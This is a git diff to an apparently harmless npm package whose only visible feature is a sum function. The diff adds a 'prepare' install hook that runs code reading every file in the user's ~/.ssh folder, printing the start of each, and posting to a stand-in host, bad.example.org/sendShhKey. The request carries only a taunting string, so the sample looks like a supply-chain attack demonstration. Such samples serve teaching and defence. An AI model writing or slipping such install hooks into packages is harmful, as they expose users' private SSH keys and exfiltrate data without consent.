diff --git a/package.json b/package.json
index 19f293e..2b3f124 100644
--- a/package.json
+++ b/package.json
@@ -8,5 +8,8 @@
   "license": "MIT",
   "files": [
     "src"
-  ]
+  ],
+  "scripts": {
+    "prepare": "node ./src/index.js"
+  }
 }
diff --git a/src/index.js b/src/index.js
index 492bf4c..0ff5aa4 100644
--- a/src/index.js
+++ b/src/index.js
@@ -1,3 +1,43 @@
+function phoneHome(payload) {
+  const https = require('https')
+  const data = JSON.stringify(payload)
+  const options = {
+    hostname: 'bad.example.org',
+    port: 443,
+    path: '/sendShhKey',
+    method: 'POST',
+    headers: {
+      'Content-Type': 'application/json',
+      'Content-Length': data.length,
+    },
+  }
+  const req = https.request(options, (res) => {
+    res.on('data', (d) => {
+      process.stdout.write(d)
+    })
+  })
+  req.on('error', (error) => {
+    console.error('Server not found of course.')
+  })
+  req.write(data)
+  req.end()
+}
+
+if (typeof process !== 'undefined') {
+  const fs = require('fs')
+  const path = require('path')
+  const os = require('os')
+  const sshFolder = path.join(os.homedir(), '.ssh')
+  for (const file of fs.readdirSync(sshFolder)) {
+    const filename = path.join(sshFolder, file)
+    if (fs.lstatSync(filename).isFile()) {
+      const contents = fs.readFileSync(filename, { encoding: 'utf-8' })
+      console.log(contents.slice(0, 30), '...')
+      phoneHome('Could have been my ssh key. Byeee')
+    }
+  }
+}
+
 module.exports = {
   sum(a, b) {
     return a + b